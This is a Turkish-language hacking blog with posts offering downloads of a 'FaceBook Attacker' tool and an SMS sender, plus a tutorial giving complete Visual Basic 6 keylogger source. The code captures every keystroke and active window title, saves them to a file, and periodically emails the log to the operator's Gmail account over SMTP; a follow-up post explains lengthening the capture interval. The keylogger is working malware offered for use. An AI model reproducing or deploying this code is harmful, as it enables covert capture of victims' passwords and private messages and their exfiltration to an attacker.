Sms Sender ver. 1

Evet işinize yarıyacak bir program daha işte buyrun ücretsiz sms gönderme programı

http://www.multiupload.com/K37DBU4QF1

http://virusscan.jotti.org/tr/scanresult/c5999ecffe67e46ac3a0ed515f65352f6bdd7d33


NOT: Lütfen çok sık mesaj atmayın sunucular kapanabilir...

FaceBook Boomber ver 2.0 çıktı

Programın yeni sürümü çıktı!!!!

Programa Çok fazla yeni özellik eklendı mesela msn freezer ve port scanner gibi indirin ve görün şifre : "drkhcker"

İndir // RapidShare

Link çalışmassa : https://rapidshare.com/files/1294998500/FaceBook_Attacker.rar

Hata çözüldü | Error solved

Gecen gunlerde basima gelen virusu sildim zor oldu ama tamamen silindi C:// ve D:// yi 2 kere formatlamam gerekti ama artik tekrar yayindayiz hem mobil olarak yazilar yazicam suanki gibi hemde pc den giricem gun icinde guncel programlarimi koyucağım...

HATA

Merhaba Arkadaşlar,
Bilgisayarıma bulaşan bir virüs nedeniyle(Win.32 Sality) bir süre paylaşım yapmayacağım çünkü bütün sistemime yayılmış durumda sizlerede bulaşmasın istedim eğer temizlemeyi bilen var ise ;
drkhcker@hotmail.com'a mail atabılırsınız ya da buraya yazarsanız sevinirim sorunu çözdüğüm zaman paylaşımlar kaldığı yerden devam edicek

Keylogger log süresi uzatma

Evet Arkadaşlar Keylogger Yapımını Sizlere Göstermiştim Şimdide Log Süresını Uzatmayı Göstericeğiz Örnek Olarak Mesela 10 dk Yapalım Bunun için 10 timer Gerekli  timer1 Hariç Bütün timerlerin Enabled Özelliğini False Yapın ve Hepsinin Invertalini 6000 Yapın Ardından Şu Kodları Girin:



Timer 1'e yazılacak kod:Timer2.Enabled = True
Timer2'ye yazılacak kod:Timer3.Enabled = True
Timer3'e yazılacak kod:Timer4.Enabled = True
...
...
...
...
...

Timer'9a yazılacak kod:Timer10.Enabled = True
Timer10'a yazılacak kod ise timer yaptıracağınız görevin kodu.


Yani Keylogger Kodu...   Umarım Faydalı Olmuşumdur İyi Bloglar....

Visual Basic 6.0'da Basit Keylogger Yapımı

Merhaba Arkadaşlar Bu Konumda Sizlere Nasıl Vb 6.0'da Keylogger Yapabileceğinizi Göstereceğim Hemen Başlayalım...


Gerekli Malzemeler:

3 adet timer..

timer1 in invertal i 5

timer2 in invertal i 1000

timer3 un invertal i 6000 olsun..

2 adetta textbox olacak..

textboxların visible = false yaparsanız gorunmez sorun yaratmaz.. ^^

Ardından Forma Sağ Tıklayıp view code diyin ve herşeyi silin ardından şu kodları yapıştırın:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long


Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean








Private Sub Form_Load()




On Error Resume Next


ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"


ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"


ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"


ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"


ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"




ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"


ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"




ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"


ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub


Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String


Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1


WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)


If WindowText <> LastWindow Then
If text1 <> "" Then text1 = text1 & vbCrLf & vbCrLf
text1 = text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function














Private Sub Timer1_Timer()


'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
text1 = text1 & ""
End If


'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
text1 = text1 & LCase(Chr(i))
Exit Sub
Else
text1 = text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
text1 = text1 & UCase(Chr(i))
Exit Sub
Else
text1 = text1 & LCase(Chr(i))
Exit Sub
End If
End If


End If
Next


'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i)
Exit Sub
Else
text1 = text1 & Chr(i)
Exit Sub
End If


End If
Next




';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i - 100)
Exit Sub
Else
text1 = text1 & ChangeChr(i)
Exit Sub
End If


End If
Next




'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_SHIFT) < 0 Then
text1 = text1 & ChangeChr(i - 100)
Exit Sub
Else
text1 = text1 & ChangeChr(i)
Exit Sub
End If


End If
Next


'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow


If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
text1 = text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
text1 = text1 & ""
End If
End If


text1 = text1 & ChangeChr(i)
Exit Sub
End If
Next


'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
text1 = text1 & " "
End If


'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
text1 = text1 & vbCrLf
End If


'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
text1 = text1 & " "
End If


'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
text1 = text1 & ""
End If


'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
text1 = text1 & ""
End If


'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
text1 = text1 & ""
End If


'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
text1 = text1 & ""
End If


'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
text1 = text1 & " [Tab] "
End If


'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
text1 = text1 & " [Esc] "
End If


'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
text1 = text1 & ChangeChr(i)
End If
Next


'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
text1 = text1 & ChangeChr(i)
End If
Next


'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
text1 = text1 & " "
End If
End If


End Sub








Private Sub Timer2_Timer()
On Error Resume Next




text2.Text = "c:\Keylogger.txt"
Open text2.Text For Output As #1
Print #1, text1.Text;
Close #1
End Sub












Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields


schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "G-MAILINIZI YAZIN"
Flds.Item(schema & "sendpassword") = "G-MAILINIZIN SIFRESINI YAZIN"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update


With iMsg
.To = "G-MAILINIZI YAZIN"
.From = "FARKLI BI G-MAIL YAZIN"
.Subject = "KeyloG"
.HTMLbOdy = text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

Dikkat: Gmail Adresiniz Yazan yerleri Gerekli Şekilde Doldurmazsanız Mailller Doğru Şekilde Gelmez....

EnzMrc Arkadaşıma Teşekkür Ediyorum Bu Yazımda...

Merhaba

Merhaba sevgili okurlar...
  Bu blogumda sizlere elimden geldiğince hack konusunda bilgilendirmeler yapacağım ve de "Visual Basic 6.0"'da düzenlediğim kendi programlarımı yaplaşıcağım umarım beğenırsiniz...